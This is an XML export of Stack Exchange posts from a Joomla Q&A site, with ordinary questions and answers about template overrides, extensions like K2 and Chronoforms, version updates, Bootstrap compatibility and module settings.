  <row Id="246" PostTypeId="2" ParentId="242" CreationDate="2014-04-24T07:30:26.410" Score="4" Body="&lt;p&gt;Without the items installed in front of me I am making a guess that this can be changed in template header of index.php. If it is done here you will have to track it when updating the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know plugins are loaded by the order seen in the plugin manager. I might look there but may not be of much help being that this is primarily template.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-04-24T07:30:26.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostTypeId="2" ParentId="236" CreationDate="2014-04-24T08:14:03.533" Score="4" Body="&lt;p&gt;Chronoforms is a forms component, which can also be used to customise the login process, or create simple payment gateway processes. It's not a CCK, but you can create some of the functionality using ChronoConnectivity which allows you to create your own tables (and hence data structures). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal opinion is that there are better CCK tools out there. For what it's worth, my favourite is K2. It's more user friendly than a lot of the others and is reasonably extendable out of the box. Certainly, if you just wanted to create a listing if widgets with custom fields, it's really easy to get going.&lt;/p&gt;&#xA;" OwnerUserId="187" LastActivityDate="2014-04-24T08:14:03.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="248" PostTypeId="2" ParentId="216" CreationDate="2014-04-24T08:18:11.780" Score="2" Body="&lt;p&gt;I would suggest that browser sniffing is the wrong way to go here. If you really want to only load modules based on screen width, you need to be running some javascript, which then calls the module by AJAX (com_ajax). Bear in mind that there may be a payoff in terms of search engine optimisation for content loaded by AJAX.&lt;/p&gt;&#xA;" OwnerUserId="187" LastActivityDate="2014-04-24T08:18:11.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="249" PostTypeId="2" ParentId="242" CreationDate="2014-04-24T08:20:15.843" Score="5" Body="&lt;p&gt;In Chronoforms you can LoadCSS in your form events. You should be able to override Gantry in there.&lt;/p&gt;&#xA;" OwnerUserId="187" LastActivityDate="2014-04-24T08:20:15.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="250" PostTypeId="2" ParentId="203" CreationDate="2014-04-24T08:23:27.983" Score="2" Body="&lt;p&gt;Depending on how your videos are stored in Joomla, you need to enable (or install) Xmap extensions. Each component has a corresponding extension in Xmap. It comes with some core items (content, weblinks etc) but you can install 3rd party ones (K2, Zoo, Flexicontent etc)&lt;/p&gt;&#xA;" OwnerUserId="187" LastActivityDate="2014-04-24T08:23:27.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="251" PostTypeId="1" AcceptedAnswerId="262" CreationDate="2014-04-24T09:24:39.183" Score="4" ViewCount="401" Body="&lt;p&gt;Is there any estimated time frame for the validity of &lt;code&gt;JModelLegacy&lt;/code&gt;, &lt;code&gt;JControllerLegacy&lt;/code&gt; and &lt;code&gt;JViewLegacy&lt;/code&gt;?  When will the switch to native 3.x ones occur? &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2014-04-28T13:30:06.430" Title="When will the JxxxLegacy classes be deprecated?" Tags="|component|extensions|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostTypeId="1" AcceptedAnswerId="258" CreationDate="2014-04-24T10:15:07.457" Score="2" ViewCount="286" Body="&lt;p&gt;I have a site which was at the 2.5.16 version of Joomla, and I updated it to 2.5.18. And made new articles, changes to menus, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the update, I didn't realize that the site was very broken in the category view (due to the overrides in the views, this was the first time that happened, version 2.5.18 introduced a language parameter and my overrides didn't have that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I tried to revert from 2.5.18 to 2.5.16 from my backed up files, but it didn't work that well! (no way to log in into the admin, or in the front end, it showed a blank page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that it had to do with the session, or cookies, and I tried emptying them, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then understood that it was due to some change to the database, but I've never &#xA;seen an update to a minor version that made a change to the database. I couldn't restore my backup of the database, because I made changes to the articles already in the 2.5.18 version. (NOTE: I made a copy of the site and restored the database to the backed up, and the login worked, which means it is definitely the database!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone know if it is confirmed that the database was changed, and how to revert it properly to version 2.5.16?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it related to something else?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="1629" LastEditDate="2014-08-20T01:11:31.960" LastActivityDate="2014-08-20T01:11:31.960" Title="Revert Joomla 2.5.18 to 2.5.16, how?" Tags="|joomla-2.5|update|" AnswerCount="2" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostTypeId="1" AcceptedAnswerId="283" CreationDate="2014-04-24T10:24:47.877" Score="8" ViewCount="974" Body="&lt;p&gt;I made a template which used Twitter Bootstrap 3, and the front end worked ok, until I had the edit views in the front end, which depend greatly in Twitter Bootstrap 2 due to the way Joomla has been since version 3, I had to revert my styles to Twitter Bootstrap 2 so that it worked correctly in the short term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I update all to Twitter Bootstrap 3 and remove dependencies to version 2?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="154" LastEditDate="2014-04-24T19:16:52.727" LastActivityDate="2016-01-21T13:05:01.880" Title="How to update everything to Twitter Bootstrap 3?" Tags="|update|joomla-3.x|twitter-bootstrap-2|twitter-bootstrap-3|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostTypeId="1" AcceptedAnswerId="261" CreationDate="2014-04-24T10:29:02.790" Score="6" ViewCount="984" Body="&lt;p&gt;How can I override the component view for a specific menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a global overwrite I can use &lt;code&gt;template/html/com_xxx/&lt;/code&gt;.&lt;br/&gt;&#xA;But how can I do it only for a specific menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! has a Blog view for Articles.&lt;br/&gt; &#xA;How can I change the markup of this view for a specific menu item, and keep the default markup for the other menu items linking to the same Blog view?&lt;/p&gt;&#xA;" OwnerUserId="87" LastEditorUserId="36" LastEditDate="2014-04-24T11:41:56.120" LastActivityDate="2014-04-24T11:41:56.120" Title="Override a component view for a specific menu item" Tags="|component|overrides|menu|view|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="257" PostTypeId="2" ParentId="255" CreationDate="2014-04-24T10:37:07.167" Score="2" Body="&lt;p&gt;It's not currently (J 3.2) possible. Bootstrap v2.3.2 is in the core of Joomla 3.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-24T10:37:07.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="258" PostTypeId="2" ParentId="254" CreationDate="2014-04-24T10:43:29.057" Score="4" Body="&lt;p&gt;In Joomla 2.5.18, a new Password Security, based on PHPass, was introduced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a returning user visits your site, the password is encrypted with the new method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no database structure change. &lt;a href=&quot;http://developer.joomla.org/version-2-5-18-release-notes.html&quot; rel=&quot;nofollow&quot;&gt;http://developer.joomla.org/version-2-5-18-release-notes.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-24T10:43:29.057" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="259" PostTypeId="2" ParentId="256" CreationDate="2014-04-24T10:44:00.633" Score="3" Body="&lt;p&gt;&lt;strong&gt;General solution :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each menu-item, you can choose a template to apply to the linked page, so you can duplicate your template and create your view override in the duplicated template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then choose the duplicated template in your menu-item parameters and the override will be effective only for that menu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With K2 :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your example, you could use K2. With it, you can create several view overrides with different names..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overrides look like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template_name/html/com_k2/override_1&#xA;                         /override_2&#xA;                         /...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you choose a K2 item in your menu parameters, you can choose the override to apply to it on that specific page. This avoids creating several templates.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2014-04-24T10:52:24.420" LastActivityDate="2014-04-24T10:52:24.420" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="260" PostTypeId="2" ParentId="251" CreationDate="2014-04-24T10:53:38.610" Score="0" Body="&lt;p&gt;I think there's no more changes coming in the current API (to avoid any further confussion or B/C turmoil).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 4 would be the next big iteration.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-24T10:53:38.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostTypeId="2" ParentId="256" CreationDate="2014-04-24T10:54:09.807" Score="4" Body="&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the CSS class to make it work the way you describe.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the class to the menu item (at the page display tab, write it in&#xA;the &quot;Page Class&quot; field). Example: &quot; special-page&quot; (note the space&#xA;before the page class, without it it will append it to the component&#xA;rendered output). I recommend using a class that can be used in more&#xA;than one situation.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the override, you need to script the &quot;filter&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(strpos($this-&amp;gt;pageclass_sfx, ' special-page') !== false) {&#xA;    $templateA = true;&#xA;}&#xA;&#xA;if($templateA){&#xA;(put your customized override here)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a template override for the view!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In your HTML folder for the overrides, duplicate the desired view&#xA;(ex: the article view), you need to rename it and have the .xml file&#xA;with the parameters (copy it from the views in the component, and&#xA;make sure the .xml has the same name as the overriden view!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example: Create an overriden view of the article, let's call it &quot;special&quot;,&#xA;you will need to copy the &lt;code&gt;default.php&lt;/code&gt; into your HTML folder in your&#xA;template (and put it into the following folder structure:&#xA;&lt;code&gt;com_content/article/&lt;/code&gt; and rename it to &lt;code&gt;special.php&lt;/code&gt;). Don't forget&#xA;the .xml (that you need to copy and even adapt if needed) to the&#xA;same folder as the override, and rename it to &lt;code&gt;special.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update the view with the overriden code/style, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then, go to the menu item, and change it to the new menu type (under&#xA;articles, choose &lt;code&gt;special&lt;/code&gt;), test it!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="38" LastActivityDate="2014-04-24T10:54:09.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostTypeId="2" ParentId="251" CreationDate="2014-04-24T11:43:16.700" Score="10" Body="&lt;p&gt;So technically you start transitioning to the new MVC classes now - there's nothing stopping you. For example com_config in Joomla core is already using the new MVC classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However as you probably know the &lt;code&gt;Jxxx&lt;/code&gt; classes are pretty much empty so a lot of the work will be putting in the same level of code as in the current &lt;code&gt;JxxxLegacy&lt;/code&gt; classes. This will mean that when you write a component you should need to write as little code as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's where I come in - I'm going to be writing a full set of &lt;code&gt;Jxxx&lt;/code&gt; classes for (probably) J3.5 probably as part of Joomla's GSoC campaign this year (2014). This will also involve swapping a lot of the components over to use those new (hopefully weblinks, newfeeds and contacts for an example for 3PD's as well as some of the more internally used components such as cache.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However note these classes will not be available in J2.5 which means if you are building a J2.5/3.x compatible extension then you will NOT be able to use them. In terms of removal - I suspect we will remove the Legacy classes in J4.0 however this is not a given - we may even choose to keep them until J5 in order to give extension developers plenty of time to make the transition&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-24T11:43:16.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="263" PostTypeId="2" ParentId="187" CreationDate="2014-04-24T11:45:18.650" Score="1" Body="&lt;p&gt;@Milton-bryant has a good answer but it wouldn't help you in case of an 500 error because you wouldn't see any profile data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is to modify the joomla profiler to write the output to a file after each mark. This could be done by editing the file libraries/joomla/profiler/profiler.php at line 135 in the mark function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;buffer[] = $mark;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file_put_contents(JPATH_BASE.'/logs/profiler.log', $mark, FILE_APPEND);&#xA;$this-&amp;gt;buffer[] = $mark;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this saves every mark entry to the logs folder, with this information you may find the section of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to activated &quot;Debugging&quot; in the configuration.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-24T11:45:18.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="264" PostTypeId="1" AcceptedAnswerId="269" CreationDate="2014-04-24T11:47:50.763" Score="11" ViewCount="6314" Body="&lt;p&gt;In joomla, I need to link every page to a component view. How can I create a &lt;strong&gt;page with no component&lt;/strong&gt; output on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example : On my home page I only want a module output. For this, I can link the home page to an &quot;empty article&quot; but is there a better way to do this without using a third party extension?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2016-02-01T07:00:38.133" LastActivityDate="2019-10-01T08:57:30.413" Title="How to create page only with modules and no component?" Tags="|component|module|templates|menu|layout|" AnswerCount="9" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostTypeId="2" ParentId="255" CreationDate="2014-04-24T11:49:13.283" Score="6" Body="&lt;p&gt;Template overrides are the only way to do this. In terms of the form fields we're working on creating JLayouts for these form fields so you can override them (see &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3231&quot;&gt;https://github.com/joomla/joomla-cms/pull/3231&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However currently as @Anibal says this isn't possible in J3.2.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-24T11:49:13.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="267" PostTypeId="2" ParentId="254" CreationDate="2014-04-24T11:53:43.140" Score="0" Body="&lt;p&gt;Maybe the answer is a bit off topic but you really should fix the layout problem of the category. That would be much easier and from security point of view a necessary step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would you like to stay on an old version, that maybe become a security problem?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-04-24T11:53:43.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostTypeId="1" CreationDate="2014-04-24T11:59:35.410" Score="5" ViewCount="743" Body="&lt;p&gt;So I'm running the master Gantry template however I'm constantly hitting the following PHP notice in my error log - like 20/30 times a day:&#xA;&lt;code&gt;PHP Notice:  Undefined property: Gantry::$belatedPNG in /JROOT/libraries/gantry/features/belatedpng.php on line 44&lt;/code&gt; (where obviously I've substituted JROOT in for my actual path). However I can't see it on all the pages on my site - so I'm wondering if it's bot's crawling onto a non-html page (I noticed before there was a gantry error when viewing feeds for example that I fixed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Gantry don't offer free support as I'm aware (and it's just a personal site so I'm not gonna spend $'s on it) so I was wondering if anyone had come across this problem before or knew of any way to fix it. &lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="159" LastEditDate="2014-04-30T19:37:58.457" LastActivityDate="2014-07-30T22:05:08.770" Title="Gantry PHP Notice: Undefined property: Gantry::$belatedPNG" Tags="|php|gantry|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="269" PostTypeId="2" ParentId="264" CreationDate="2014-04-24T12:06:42.063" Score="16" Body="&lt;p&gt;There isn't really a 'better way' than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other option is to check whether you're on the homepage in your template file. To check if you're on the homepage you can use the method described on the docs here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page&quot;&gt;http://docs.joomla.org/How_to_determine_if_the_user_is_viewing_the_front_page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;&#xA;if ($menu-&amp;gt;getActive() != $menu-&amp;gt;getDefault()) { ?&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that way you never include your component on the home page&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="75" LastEditDate="2014-04-24T22:49:54.647" LastActivityDate="2014-04-24T22:49:54.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostTypeId="2" ParentId="264" CreationDate="2014-04-24T12:29:13.493" Score="1" Body="&lt;p&gt;You can create a empty component. So in com_menus component you can decide with page must not have output just choosing that empty component. In that component, you need create a view and a empty default.php template with the default.xml file, so you will see this option when you are going to choose the component in com_menus component.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-24T12:29:13.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="271" PostTypeId="2" ParentId="264" CreationDate="2014-04-24T12:39:31.770" Score="1" Body="&lt;p&gt;RocketThemes have a handy feature to hide com_content featured articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use to publish an empty category to minimize the output, and hide it with some CSS styling.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-04-24T12:39:31.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostTypeId="2" ParentId="255" CreationDate="2014-04-24T12:53:43.710" Score="4" Body="&lt;p&gt;Take a look on &lt;a href=&quot;https://github.com/asika32764/joomla-bootstrap3-isis-template&quot; rel=&quot;nofollow&quot;&gt;this admin template&lt;/a&gt; - it is &lt;code&gt;Isis&lt;/code&gt; converted to Bootstrap 3. May be you can take some ideas from there. Moreover this template supports both Bootstrap 2 &amp;amp; 3 syntax.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-24T12:53:43.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="273" PostTypeId="1" AcceptedAnswerId="277" CreationDate="2014-04-24T13:29:54.740" Score="3" ViewCount="1092" Body="&lt;p&gt;This page, &lt;a href=&quot;http://docs.joomla.org/Setting_up_automatic_Smart_Search_indexing&quot; rel=&quot;nofollow&quot;&gt;Setting up automatic Smart Search indexing&lt;/a&gt;, from the Joomla! Documentation states that Smart Search automatically indexes content once it has been amended. However, I've found on a site I'm working on that this isn't the case - I have to manually index content for it to appear, or set up a cron job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is smart search automatic indexing meant to work? Is it via the 'Content - Smart Search' plugin via a plugin hook? If so, do any other config items need to be set to get it working?&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="27" LastEditDate="2014-04-25T08:15:08.413" LastActivityDate="2017-10-23T18:22:50.457" Title="How to enable Smart Search automatic indexing?" Tags="|smartsearch|search|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostTypeId="1" AcceptedAnswerId="284" CreationDate="2014-04-24T13:31:31.327" Score="2" ViewCount="188" Body="&lt;p&gt;Due to some requests by a cliente, I had to filter certain &quot;tags&quot; (between curly brackets, like &lt;code&gt;{invisible}content{/invisible}&lt;/code&gt;) via a content plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last months, the list of tags has grown, and I have decided to filter them in the same plugin, but it is not very practical since it is tough to maintain and each time I update it with a new tag I could break it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's my main question, is it best to have it as a single plugin or make a plugin for each instance of the new tag requested?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will many plugins slow down my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is best to do it in the same plugin, does anyone know of a good way to do it in the same plugin?&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2014-04-24T15:54:28.230" Title="Filtering content in a single plugin or many?" Tags="|plugin|content-filtering|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="275" PostTypeId="2" ParentId="274" CreationDate="2014-04-24T13:39:57.963" Score="3" Body="&lt;p&gt;It is up to you, but a single plugin will be the best option. You can save 'tags' in the plugin's parameters, for example in the text field and comma separated. Then you can get them in the plugin using &lt;code&gt;$this-&amp;gt;params&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = explode(',', $this-&amp;gt;params-&amp;gt;get('tags'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will get an array with tags.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-04-24T13:39:57.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="276" PostTypeId="2" ParentId="264" CreationDate="2014-04-24T14:06:50.997" Score="1" Body="&lt;p&gt;Copy the template, remove the jdoc component and assign that style to any menu item not requiring the component.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2014-04-24T14:06:50.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostTypeId="2" ParentId="273" CreationDate="2014-04-24T14:12:27.910" Score="1" Body="&lt;p&gt;In this case, my client failed to correctly configure the Search Filter for the site, omitting certain categories but not others so it appeared as if some content was being missed.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-04-24T14:12:27.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostTypeId="2" ParentId="264" CreationDate="2014-04-24T14:24:01.937" Score="4" Body="&lt;p&gt;You can have multiple template layouts in your index file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--Layout 1--&amp;gt;&#xA;&amp;lt;?php if ($BConfig-&amp;gt;html=='layoutA') : ?&amp;gt;&#xA;&#xA;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;  &amp;lt;!--End Layout 1--&amp;gt;&#xA;&#xA;&amp;lt;!--Dynamically Generated Layout 2--&amp;gt;&#xA;&amp;lt;?php if ($BConfig-&amp;gt;html=='layoutB') : ?&amp;gt;&#xA;&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;your-module&quot;/&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt; &amp;lt;!--End Layout 2--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then make sure your templateDetails file includes option B. Then in your Joomla! templates, you can set up an additional template using layout b. Go to your home menu item, select that template. The component won't load, but your module will.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-04-24T15:09:58.863" LastActivityDate="2014-04-24T15:09:58.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="279" PostTypeId="2" ParentId="264" CreationDate="2014-04-24T14:24:29.393" Score="5" Body="&lt;p&gt;In the JED there's also a &quot;blank&quot; component that lets you publish a menu item so you can place only modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/personal-layout/17363&quot;&gt;http://extensions.joomla.org/extensions/style-a-design/personal-layout/17363&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-04-24T14:24:29.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="280" PostTypeId="1" CreationDate="2014-04-24T15:06:51.723" Score="4" ViewCount="1102" Body="&lt;p&gt;I want to add following form field in module settings like - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fb_posttype&quot; type=&quot;checkboxes&quot; label=&quot;Post types&quot;&amp;gt;         &#xA;    &amp;lt;option value=&quot;status&quot; &amp;gt;Statuses&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;link&quot;&amp;gt;Links&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;photo&quot;&amp;gt;Photos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;video&quot;&amp;gt;Videos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;event&quot;&amp;gt;Events&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but most of them will be checked by default when user views module settings not after they check and click save at first.I saw there is a 'default' parameter but don't know how do i apply it for this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do i keep some checkboxes checked by default in the above fb_posttype field in module settings.FYI joomla version 2.5.11&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="13" LastEditDate="2014-04-24T16:24:39.500" LastActivityDate="2014-04-25T08:31:45.930" Title="checkboxes field type in module settings not checked by default" Tags="|cms|joomla-2.5|jform|xml|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="281" PostTypeId="2" ParentId="280" CreationDate="2014-04-24T15:15:32.353" Score="2" Body="&lt;p&gt;if you want that the values link and video be checked by default, so you do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fb_posttype&quot; type=&quot;checkboxes&quot; checked=&quot;link,video&quot; label=&quot;Post types&quot;&amp;gt;         &#xA;    &amp;lt;option value=&quot;status&quot; &amp;gt;Statuses&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;link&quot;&amp;gt;Links&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;photo&quot;&amp;gt;Photos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;video&quot;&amp;gt;Videos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;event&quot;&amp;gt;Events&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can do something like this too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fb_posttype&quot; type=&quot;checkboxes&quot; label=&quot;Post types&quot;&amp;gt;         &#xA;    &amp;lt;option value=&quot;status&quot;&amp;gt;Statuses&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;link&quot; checked=&quot;true&quot;&amp;gt;Links&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;photo&quot;&amp;gt;Photos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;video&quot; checked=&quot;true&quot;&amp;gt;Videos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;event&quot;&amp;gt;Events&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditDate="2014-04-24T15:21:24.947" LastActivityDate="2014-04-24T15:21:24.947" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
